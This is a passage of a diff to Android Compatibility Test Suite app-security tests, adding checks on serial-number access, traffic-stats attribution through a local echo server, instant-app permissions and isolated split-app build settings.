+        // value returned to unauthorized callers, so make sure that value
+        assertTrue("Build.SERIAL must not work for modern apps",
+                Build.UNKNOWN.equals(Build.SERIAL));
+
+        // We don't have the read phone state permission, so this should throw
+        try {
+            Build.getSerial();
+            fail("getSerial() must be gated on the READ_PHONE_STATE permission");
+        } catch (SecurityException e) {
+            /* expected */
+        }
+
+        // Now grant ourselves READ_PHONE_STATE
+        grantReadPhoneStatePermission();
+
+        // Build.SERIAL should not provide the device serial for modern apps.
+        assertTrue("Build.SERIAL must not work for modern apps",
+                Build.UNKNOWN.equals(Build.SERIAL));
+
+        // We have the READ_PHONE_STATE permission, so this should not throw
+        try {
+            assertTrue("Build.getSerial() must work for apps holding READ_PHONE_STATE",
+                    !Build.UNKNOWN.equals(Build.getSerial()));
+        } catch (SecurityException e) {
+            fail("getSerial() must be gated on the READ_PHONE_STATE permission");
+        }
+    }
+
+    private void grantReadPhoneStatePermission() throws IOException {
+        SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(),
+                "pm grant " + InstrumentationRegistry.getContext().getPackageName()
+                + " " + Manifest.permission.READ_PHONE_STATE);
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/AppAccessData/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/AppAccessData/AndroidManifest.xml
index ffc104e..6a846fc 100644
--- a/hostsidetests/appsecurity/test-apps/AppAccessData/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/AppAccessData/AndroidManifest.xml
@@ -22,6 +22,8 @@
     created by com.android.cts.appwithdata.
     -->
 
+    <uses-permission android:name="android.permission.INTERNET"/>
+
     <application>
         <uses-library android:name="android.test.runner" />
     </application>
diff --git a/hostsidetests/appsecurity/test-apps/AppAccessData/src/com/android/cts/appaccessdata/AccessPrivateDataTest.java b/hostsidetests/appsecurity/test-apps/AppAccessData/src/com/android/cts/appaccessdata/AccessPrivateDataTest.java
index 0867968..8c5b768 100644
--- a/hostsidetests/appsecurity/test-apps/AppAccessData/src/com/android/cts/appaccessdata/AccessPrivateDataTest.java
+++ b/hostsidetests/appsecurity/test-apps/AppAccessData/src/com/android/cts/appaccessdata/AccessPrivateDataTest.java
@@ -16,17 +16,25 @@
 
 package com.android.cts.appaccessdata;
 
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageManager;
+import android.content.pm.PackageManager.NameNotFoundException;
+import android.net.TrafficStats;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.ParcelFileDescriptor;
+import android.os.SystemClock;
+import android.test.AndroidTestCase;
+
 import java.io.BufferedReader;
 import java.io.File;
 import java.io.FileInputStream;
 import java.io.FileNotFoundException;
 import java.io.FileReader;
 import java.io.IOException;
-
-import android.content.pm.ApplicationInfo;
-import android.content.pm.PackageManager;
-import android.content.pm.PackageManager.NameNotFoundException;
-import android.test.AndroidTestCase;
+import java.net.InetSocketAddress;
+import java.net.Socket;
+import java.net.SocketAddress;
 
 /**
  * Test that another app's private data cannot be accessed, while its public data can.
@@ -51,6 +59,8 @@
      */
     private static final String PUBLIC_FILE_NAME = "public_file.txt";
 
+    private static final Uri PRIVATE_TARGET = Uri.parse("content://com.android.cts.appwithdata/");
+
     /**
      * Tests that another app's private data cannot be accessed. It includes file
      * and detailed traffic stats.
@@ -68,7 +78,6 @@
         } catch (FileNotFoundException | SecurityException e) {
             // expected
         }
-        accessPrivateTrafficStats();
     }
 
     private ApplicationInfo getApplicationInfo(String packageName) {
@@ -97,7 +106,7 @@
         }
     }
 
-    private void accessPrivateTrafficStats() throws IOException {
+    public void testAccessPrivateTrafficStats() throws IOException {
         int otherAppUid = -1;
         try {
             otherAppUid = getContext()
@@ -121,4 +130,46 @@
             fail("Was not able to access qtaguid/stats: " + e);
         }
     }
+
+    public void testTrafficStatsStatsUidSelf() throws Exception {
+        final int uid = android.os.Process.myUid();
+        final long rxb = TrafficStats.getUidRxBytes(uid);
+        final long rxp = TrafficStats.getUidRxPackets(uid);
+        final long txb = TrafficStats.getUidTxBytes(uid);
+        final long txp = TrafficStats.getUidTxPackets(uid);
+
+        // Start remote server
+        final int port = getContext().getContentResolver().call(PRIVATE_TARGET, "start", null, null)
+                .getInt("port");
+
+        // Try talking to them, but shift blame
+        try {
+            final Socket socket = new Socket();
+            socket.setTcpNoDelay(true);
+
+            Bundle extras = new Bundle();
+            extras.putParcelable("fd", ParcelFileDescriptor.fromSocket(socket));
+            getContext().getContentResolver().call(PRIVATE_TARGET, "tag", null, extras);
+
+            socket.connect(new InetSocketAddress("localhost", port));
+
+            socket.getOutputStream().write(42);
+            socket.getOutputStream().flush();
+            final int val = socket.getInputStream().read();
+            assertEquals(42, val);
+            socket.close();
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        } finally {
+            getContext().getContentResolver().call(PRIVATE_TARGET, "stop", null, null);
+        }
+
+        SystemClock.sleep(1000);
+
+        // Since we shifted blame, our stats shouldn't have changed
+        assertEquals(rxb, TrafficStats.getUidRxBytes(uid));
+        assertEquals(rxp, TrafficStats.getUidRxPackets(uid));
+        assertEquals(txb, TrafficStats.getUidTxBytes(uid));
+        assertEquals(txp, TrafficStats.getUidTxPackets(uid));
+    }
 }
diff --git a/hostsidetests/appsecurity/test-apps/AppWithData/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/AppWithData/AndroidManifest.xml
index 598ebe7..2accec1 100644
--- a/hostsidetests/appsecurity/test-apps/AppWithData/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/AppWithData/AndroidManifest.xml
@@ -23,8 +23,14 @@
     -->
 
     <uses-permission android:name="android.permission.INTERNET" />
+
     <application>
         <uses-library android:name="android.test.runner" />
+
+        <provider
+            android:name="com.android.cts.appwithdata.MyProvider"
+            android:authorities="com.android.cts.appwithdata"
+            android:exported="true" />
     </application>
 
     <instrumentation android:name="android.support.test.runner.AndroidJUnitRunner"
diff --git a/hostsidetests/appsecurity/test-apps/AppWithData/src/com/android/cts/appwithdata/MyProvider.java b/hostsidetests/appsecurity/test-apps/AppWithData/src/com/android/cts/appwithdata/MyProvider.java
new file mode 100644
index 0000000..135c27c
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/AppWithData/src/com/android/cts/appwithdata/MyProvider.java
@@ -0,0 +1,139 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.appwithdata;
+
+import android.content.ContentProvider;
+import android.content.ContentValues;
+import android.database.Cursor;
+import android.net.TrafficStats;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.ParcelFileDescriptor;
+import android.util.Log;
+
+import java.io.IOException;
+import java.net.ServerSocket;
+import java.net.Socket;
+
+public class MyProvider extends ContentProvider {
+    private static final String TAG = "CTS";
+
+    @Override
+    public boolean onCreate() {
+        return true;
+    }
+
+    @Override
+    public Cursor query(Uri uri, String[] projection, String selection, String[] selectionArgs,
+            String sortOrder) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public String getType(Uri uri) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public Uri insert(Uri uri, ContentValues values) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public int delete(Uri uri, String selection, String[] selectionArgs) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public int update(Uri uri, ContentValues values, String selection, String[] selectionArgs) {
+        throw new UnsupportedOperationException();
+    }
+
+    @Override
+    public Bundle call(String method, String arg, Bundle extras) {
+        Log.v(TAG, "call() " + method);
+        switch (method) {
+            case "start": {
+                server = new EchoServer();
+                server.start();
+                extras = new Bundle();
+                extras.putInt("port", server.server.getLocalPort());
+                return extras;
+            }
+            case "stop": {
+                server.halt();
+                return null;
+            }
+            case "tag": {
+                Log.v(TAG, "My UID is " + android.os.Process.myUid());
+                TrafficStats.setThreadStatsUidSelf();
+                try {
+                    final ParcelFileDescriptor pfd = extras.getParcelable("fd");
+                    TrafficStats.tagFileDescriptor(pfd.getFileDescriptor());
+                } catch (IOException e) {
+                    throw new RuntimeException(e);
+                } finally {
+                    TrafficStats.clearThreadStatsUid();
+                }
+                return null;
+            }
+            default: {
+                throw new UnsupportedOperationException();
+            }
+        }
+    }
+
+    private EchoServer server;
+
+    private static class EchoServer extends Thread {
+        final ServerSocket server;
+        volatile boolean halted = false;
+
+        public EchoServer() {
+            try {
+                server = new ServerSocket(0);
+            } catch (IOException e) {
+                throw new RuntimeException(e);
+            }
+        }
+
+        public void halt() {
+            halted = true;
+            try {
+                server.close();
+            } catch (IOException e) {
+                throw new RuntimeException(e);
+            }
+        }
+
+        @Override
+        public void run() {
+            while (!halted) {
+                try {
+                    final Socket socket = server.accept();
+                    socket.setTcpNoDelay(true);
+                    final int val = socket.getInputStream().read();
+                    socket.getOutputStream().write(val);
+                    socket.getOutputStream().flush();
+                    socket.close();
+                } catch (IOException e) {
+                    Log.w(TAG, e);
+                }
+            }
+        }
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml
index ed3c3cf..8f39344 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/AndroidManifest.xml
@@ -21,7 +21,16 @@
         android:minSdkVersion="25" />
 
     <uses-permission android:name="com.android.alarm.permission.SET_ALARM" />
+    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION"/>
+    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
+    <uses-permission android:name="android.permission.CAMERA" />
+    <uses-permission android:name="android.permission.INSTANT_APP_FOREGROUND_SERVICE" />
     <uses-permission android:name="android.permission.INTERNET" />
+    <uses-permission android:name="android.permission.RECORD_AUDIO" />
+    <uses-permission android:name="android.permission.READ_PHONE_NUMBERS" />
+    <uses-permission android:name="android.permission.VIBRATE" />
+    <uses-permission android:name="android.permission.WAKE_LOCK" />
+
     <application
         android:label="@string/app_name">
         <uses-library android:name="android.test.runner" />
@@ -88,6 +97,7 @@
                 <action android:name="com.android.cts.ephemeraltest.QUERY" />
             </intent-filter>
         </provider>
+        <service android:name=".SomeService"/>
     </application>
 
     <instrumentation
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
index 8ecd860..0db23d4 100644
--- a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/ClientTest.java
@@ -16,14 +16,19 @@
 
 package com.android.cts.ephemeralapp1;
 
+import static android.media.AudioFormat.CHANNEL_IN_MONO;
+import static android.media.AudioFormat.ENCODING_PCM_16BIT;
+import static android.media.MediaRecorder.AudioSource.MIC;
 import static org.hamcrest.CoreMatchers.is;
-import static org.hamcrest.CoreMatchers.nullValue;
 import static org.hamcrest.CoreMatchers.notNullValue;
+import static org.hamcrest.CoreMatchers.nullValue;
+import static org.junit.Assert.assertSame;
 import static org.junit.Assert.assertThat;
 import static org.junit.Assert.fail;
 
 import android.Manifest;
-import android.annotation.Nullable;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
 import android.content.ActivityNotFoundException;
 import android.content.BroadcastReceiver;
 import android.content.ComponentName;
@@ -36,18 +41,29 @@
 import android.content.pm.ProviderInfo;
 import android.content.pm.ResolveInfo;
 import android.database.Cursor;
+import android.hardware.camera2.CameraDevice;
+import android.hardware.camera2.CameraManager;
+import android.media.AudioRecord;
+import android.net.ConnectivityManager;
 import android.net.Uri;
 import android.os.Build;
 import android.os.Bundle;
+import android.os.Handler;
+import android.os.HandlerThread;
 import android.os.IBinder;
-import android.os.ServiceManager.ServiceNotFoundException;
-import android.provider.CalendarContract;
-import android.provider.ContactsContract;
-import android.provider.MediaStore;
+import android.os.Looper;
+import android.os.PowerManager;
+import android.os.PowerManager.WakeLock;
+import android.os.VibrationEffect;
+import android.os.Vibrator;
 import android.support.test.InstrumentationRegistry;
 import android.support.test.runner.AndroidJUnit4;
-import android.test.InstrumentationTestCase;
+import android.telephony.CellLocation;
+import android.telephony.PhoneStateListener;
+import android.telephony.TelephonyManager;
 
+import com.android.compatibility.common.util.SystemUtil;
+import com.android.compatibility.common.util.TestThread;
 import com.android.cts.util.TestResult;
 
 import org.junit.After;
@@ -55,10 +71,9 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import java.util.ArrayList;
-import java.util.Arrays;
+import java.io.IOException;
 import java.util.List;
-import java.util.ServiceConfigurationError;
+import java.util.concurrent.CountDownLatch;
 import java.util.concurrent.SynchronousQueue;
 import java.util.concurrent.TimeUnit;
 
@@ -85,6 +100,7 @@
             "com.android.cts.ephemeraltest.EXTRA_ACTIVITY_RESULT";
 
     private BroadcastReceiver mReceiver;
+    private PhoneStateListener mPhoneStateListener;
     private final SynchronousQueue<TestResult> mResultQueue = new SynchronousQueue<>();
 
     @Before
@@ -958,6 +974,173 @@
         }
     }
 
+    @Test
+    public void testStartForegroundService() throws Exception {
+        final Context context = InstrumentationRegistry.getContext();
+        final Intent intent = new Intent(context, SomeService.class);
+
+        // Create a notification channel for the foreground notification
+        final NotificationChannel channel = new NotificationChannel("foo", "foo",
+                NotificationManager.IMPORTANCE_DEFAULT);
+        final NotificationManager notificationManager = context.getSystemService(
+                NotificationManager.class);
+        notificationManager.createNotificationChannel(channel);
+
+        // Shouldn't be able to start without a permission
+        final CountDownLatch latch1 = new CountDownLatch(1);
+        SomeService.setOnStartCommandCallback((int result) -> {
+            assertSame("Shouldn't be able to start without "
+                    + " INSTANT_APP_FOREGROUND_SERVICE permission", 0, result);
+            latch1.countDown();
+        });
+        context.startForegroundService(intent);
+        latch1.await(5, TimeUnit.SECONDS);
+
+        // Now grant ourselves INSTANT_APP_FOREGROUND_SERVICE
+        grantInstantAppForegroundServicePermission();
+
+        // Should be able to start with a permission
+        final CountDownLatch latch2 = new CountDownLatch(1);
+        SomeService.setOnStartCommandCallback((int result) -> {
+            assertSame("Should be able to start with "
+                    + " INSTANT_APP_FOREGROUND_SERVICE permission", 1, result);
+            latch2.countDown();
+        });
+        context.startForegroundService(intent);
+        latch2.await(5, TimeUnit.SECONDS);
+    }
+
+    @Test
+    public void testRecordAudioPermission() throws Throwable {
+        final AudioRecord record =
+                new AudioRecord(MIC, 8000, CHANNEL_IN_MONO, ENCODING_PCM_16BIT, 4096);
+        try {
+            assertThat("audio record not initialized",
+                    record.getState(), is(AudioRecord.STATE_INITIALIZED));
+        } finally {
+            record.release();
+        }
+    }
+
+    @Test
+    public void testReadPhoneNumbersPermission() throws Throwable {
+        final Context context = InstrumentationRegistry.getContext();
+        if (!context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            return;
+        }
+
+        try {
+            final TelephonyManager telephonyManager =
+                    (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
+            final String nmbr = telephonyManager.getLine1Number();
+        } catch (SecurityException e) {
+            fail("Permission not granted");
+        }
+    }
+
+    @Test
+    public void testAccessCoarseLocationPermission() throws Throwable {
+        final Context context = InstrumentationRegistry.getContext();
+        final ConnectivityManager mCm =
+                (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
+        if (mCm.getNetworkInfo(ConnectivityManager.TYPE_MOBILE) == null) {
+            return;
+        }
+
+        final TelephonyManager mTelephonyManager =
+                (TelephonyManager) context.getSystemService(Context.TELEPHONY_SERVICE);
+        // getCellLocation should never return null, but that is allowed if the cell network type
+        // is LTE (since there is no LteCellLocation class)
+        if (mTelephonyManager.getNetworkType() != TelephonyManager.NETWORK_TYPE_LTE) {
+            assertThat(mTelephonyManager.getCellLocation(), is(notNullValue()));
+        }
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        final TestThread t = new TestThread(() -> {
+            Looper.prepare();
+            mPhoneStateListener = new PhoneStateListener() {
+                @Override
+                public void onCellLocationChanged(CellLocation location) {
+                    latch.countDown();
+                }
+            };
+            mTelephonyManager.listen(mPhoneStateListener, PhoneStateListener.LISTEN_CELL_LOCATION);
+            Looper.loop();
+        });
+        t.start();
+
+        try {
+            CellLocation.requestLocationUpdate();
+            assertThat(latch.await(1000, TimeUnit.MILLISECONDS), is(true));
+        } finally {
+            mTelephonyManager.listen(mPhoneStateListener, PhoneStateListener.LISTEN_NONE);
+        }
+        t.checkException();
+    }
+
+    @Test
+    public void testCameraPermission() throws Throwable {
+        final Context context = InstrumentationRegistry.getContext();
+        final CameraManager manager =
+                (CameraManager) context.getSystemService(Context.CAMERA_SERVICE);
+        final String[] cameraIds = manager.getCameraIdList();
+        if (cameraIds.length == 0) {
+            return;
+        }
+        final CountDownLatch latch = new CountDownLatch(1);
+        final HandlerThread backgroundThread = new HandlerThread("camera_bg");
+        backgroundThread.start();
+        final CameraDevice.StateCallback callback = new CameraDevice.StateCallback() {
+            @Override
+            public void onOpened(CameraDevice camera) {
+                latch.countDown();
+                camera.close();
+            }
+            @Override
+            public void onDisconnected(CameraDevice camera) {
+                camera.close();
+            }
+            @Override
+            public void onError(CameraDevice camera, int error) {
+                camera.close();
+            }
+        };
+        manager.openCamera(cameraIds[0], callback, new Handler(backgroundThread.getLooper()));
+        assertThat(latch.await(1000, TimeUnit.MILLISECONDS), is(true));
+    }
+
+    @Test
+    public void testInternetPermission() throws Throwable {
+        final ConnectivityManager manager = (ConnectivityManager) InstrumentationRegistry.getContext()
+                .getSystemService(Context.CONNECTIVITY_SERVICE);
+        manager.reportNetworkConnectivity(null, false);
+    }
+
+    @Test
+    public void testVibratePermission() throws Throwable {
+        final Vibrator vibrator = (Vibrator) InstrumentationRegistry.getContext()
+                .getSystemService(Context.VIBRATOR_SERVICE);
+        final VibrationEffect effect =
+                VibrationEffect.createOneShot(100, VibrationEffect.DEFAULT_AMPLITUDE);
+        vibrator.vibrate(effect);
+    }
+
+    @Test
+    public void testWakeLockPermission() throws Throwable {
+        WakeLock wakeLock = null;
+        try {
+            final PowerManager powerManager = (PowerManager) InstrumentationRegistry.getContext()
+                    .getSystemService(Context.POWER_SERVICE);
+            wakeLock = powerManager.newWakeLock(PowerManager.PARTIAL_WAKE_LOCK, "test");
+            wakeLock.acquire();
+        }
+        finally {
+            if (wakeLock != null &&  wakeLock.isHeld()) {
+                wakeLock.release();
+            }
+        }
+    }
+
     private TestResult getResult() {
         final TestResult result;
         try {
@@ -971,6 +1154,12 @@
         return result;
     }
 
+    private static void grantInstantAppForegroundServicePermission() throws IOException {
+        SystemUtil.runShellCommand(InstrumentationRegistry.getInstrumentation(),
+                "pm grant " + InstrumentationRegistry.getContext().getPackageName()
+                        + " " + Manifest.permission.INSTANT_APP_FOREGROUND_SERVICE);
+    }
+
     private static Intent makeIntent(String action, String category, String mimeType) {
         Intent intent = new Intent(action);
         if (category != null) {
diff --git a/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/SomeService.java b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/SomeService.java
new file mode 100644
index 0000000..116067a
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/EphemeralTestApp/EphemeralApp1/src/com/android/cts/ephemeralapp1/SomeService.java
@@ -0,0 +1,55 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.ephemeralapp1;
+
+import android.app.Notification;
+import android.app.Service;
+import android.content.Intent;
+import android.os.IBinder;
+
+import java.util.function.IntConsumer;
+
+public class SomeService extends Service {
+    private static IntConsumer sCallback;
+
+    public static void setOnStartCommandCallback(IntConsumer callback) {
+        sCallback = callback;
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return null;
+    }
+
+    @Override
+    public int onStartCommand(Intent intent, int flags, int startId) {
+        final Notification.Builder builder = new Notification.Builder(this, "foo")
+                .setSmallIcon(android.R.drawable.sym_def_app_icon)
+                .setContentTitle("foo")
+                .setWhen(System.currentTimeMillis())
+                .setOngoing(true);
+        try {
+            startForeground(1, builder.build());
+            stopSelf(startId);
+        } catch (Exception e) {
+            sCallback.accept(0);
+            return START_NOT_STICKY;
+        }
+        sCallback.accept(1);
+        return START_NOT_STICKY;
+    }
+}
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.mk b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.mk
index 0834642..3231710 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/Android.mk
@@ -18,20 +18,25 @@
 
 include $(CLEAR_VARS)
 
+LOCAL_PACKAGE_NAME := CtsIsolatedSplitApp
 LOCAL_USE_AAPT2 := true
 LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_EXPORT_PACKAGE_RESOURCES := true
-LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
+LOCAL_SDK_VERSION := current
 
+# Feature splits are dependent on this base, so it must be exported.
+LOCAL_EXPORT_PACKAGE_RESOURCES := true
+
+# Make sure our test locale polish is not stripped.
+LOCAL_AAPT_INCLUDE_ALL_RESOURCES := true
+
+LOCAL_STATIC_JAVA_LIBRARIES := ctstestrunner android-support-test
 LOCAL_SRC_FILES := $(call all-java-files-under, src)
 
-LOCAL_PACKAGE_NAME := CtsIsolatedSplitApp
+# Generate a locale split.
 LOCAL_PACKAGE_SPLITS := pl
 
-# Tag this module as a cts test artifact
-
 include $(BUILD_CTS_SUPPORT_PACKAGE)
 
+# Build the other splits.
 include $(call first-makefiles-under,$(LOCAL_PATH))
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.mk b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.mk
index 48b4e3b..dd76592 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/Android.mk
@@ -17,20 +17,32 @@
 LOCAL_PATH:= $(call my-dir)
 include $(CLEAR_VARS)
 
+LOCAL_PACKAGE_NAME := CtsIsolatedSplitAppFeatureA
 LOCAL_USE_AAPT2 := true
 LOCAL_MODULE_TAGS := tests
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+
+# Feature splits are dependent on this split, so it must be exported.
 LOCAL_EXPORT_PACKAGE_RESOURCES := true
-LOCAL_PACKAGE_NAME := CtsIsolatedSplitAppFeatureA
+
+# Make sure our test locale polish is not stripped.
+LOCAL_AAPT_INCLUDE_ALL_RESOURCES := true
 
 LOCAL_SRC_FILES := $(call all-subdir-java-files)
 
+# Generate a locale split.
 LOCAL_PACKAGE_SPLITS := pl
 
+# Code and resource dependency on the base.
 LOCAL_APK_LIBRARIES := CtsIsolatedSplitApp
 LOCAL_RES_LIBRARIES := $(LOCAL_APK_LIBRARIES)
 
-LOCAL_AAPT_FLAGS += --custom-package com.android.cts.isolatedsplitapp.feature_a
+# Although feature splits use unique resource package names, they must all
+# have the same manifest package name to be considered one app.
+LOCAL_AAPT_FLAGS += --rename-manifest-package com.android.cts.isolatedsplitapp
+
+# Assign a unique package ID to this feature split. Since these are isolated splits,
+# it must only be unique across a dependency chain.
 LOCAL_AAPT_FLAGS += --package-id 0x80
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/AndroidManifest.xml
index d3aed1d..958b8d0 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_a/AndroidManifest.xml
@@ -15,17 +15,17 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.isolatedsplitapp"
+        package="com.android.cts.isolatedsplitapp.feature_a"
         featureSplit="feature_a">
 
     <application>
-        <activity android:name=".feature_a.FeatureAActivity">
+        <activity android:name=".FeatureAActivity">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.LAUNCHER" />
             </intent-filter>
         </activity>
-        <receiver android:name=".feature_a.FeatureAReceiver">
+        <receiver android:name=".FeatureAReceiver">
             <intent-filter>
                 <action android:name="com.android.cts.isolatedsplitapp.ACTION" />
             </intent-filter>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.mk b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.mk
index 64b5fc3..240fc2c 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/Android.mk
@@ -17,19 +17,29 @@
 LOCAL_PATH:= $(call my-dir)
 include $(CLEAR_VARS)
 
+LOCAL_PACKAGE_NAME := CtsIsolatedSplitAppFeatureB
 LOCAL_USE_AAPT2 := true
 LOCAL_MODULE_TAGS := tests
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_PACKAGE_NAME := CtsIsolatedSplitAppFeatureB
+
+# Make sure our test locale polish is not stripped.
+LOCAL_AAPT_INCLUDE_ALL_RESOURCES := true
 
 LOCAL_SRC_FILES := $(call all-subdir-java-files)
 
+# Generate a locale split.
 LOCAL_PACKAGE_SPLITS := pl
 
+# Code and resource dependency on the base and feature A.
 LOCAL_APK_LIBRARIES := CtsIsolatedSplitApp CtsIsolatedSplitAppFeatureA
 LOCAL_RES_LIBRARIES := $(LOCAL_APK_LIBRARIES)
 
-LOCAL_AAPT_FLAGS := --custom-package com.android.cts.isolatedsplitapp.feature_b
+# Although feature splits use unique resource package names, they must all
+# have the same manifest package name to be considered one app.
+LOCAL_AAPT_FLAGS := --rename-manifest-package com.android.cts.isolatedsplitapp
+
+# Assign a unique package ID to this feature split. Since these are isolated splits,
+# it must only be unique across a dependency chain.
 LOCAL_AAPT_FLAGS += --package-id 0x81
 
 include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/AndroidManifest.xml
index 00c2d6c..d89a1f2 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_b/AndroidManifest.xml
@@ -15,19 +15,19 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.isolatedsplitapp"
+        package="com.android.cts.isolatedsplitapp.feature_b"
         featureSplit="feature_b">
 
     <uses-split android:name="feature_a" />
 
     <application>
-        <activity android:name=".feature_b.FeatureBActivity">
+        <activity android:name=".FeatureBActivity">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
                 <category android:name="android.intent.category.LAUNCHER" />
             </intent-filter>
         </activity>
-        <receiver android:name=".feature_b.FeatureBReceiver">
+        <receiver android:name=".FeatureBReceiver">
             <intent-filter>
                 <action android:name="com.android.cts.isolatedsplitapp.ACTION" />
             </intent-filter>
diff --git a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.mk b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.mk
index f21d1d0..35b3252 100644
--- a/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/IsolatedSplitApp/feature_c/Android.mk
@@ -17,19 +17,29 @@
 LOCAL_PATH:= $(call my-dir)
 include $(CLEAR_VARS)
 
+LOCAL_PACKAGE_NAME := CtsIsolatedSplitAppFeatureC
 LOCAL_USE_AAPT2 := true
 LOCAL_MODULE_TAGS := tests
 LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_PACKAGE_NAME := CtsIsolatedSplitAppFeatureC
+
+# Make sure our test locale polish is not stripped.
+LOCAL_AAPT_INCLUDE_ALL_RESOURCES := true
 
 LOCAL_SRC_FILES := $(call all-subdir-java-files)
 
+# Generate a locale split.
 LOCAL_PACKAGE_SPLITS := pl
 
+# Code and resource dependency on the base.
 LOCAL_APK_LIBRARIES := CtsIsolatedSplitApp
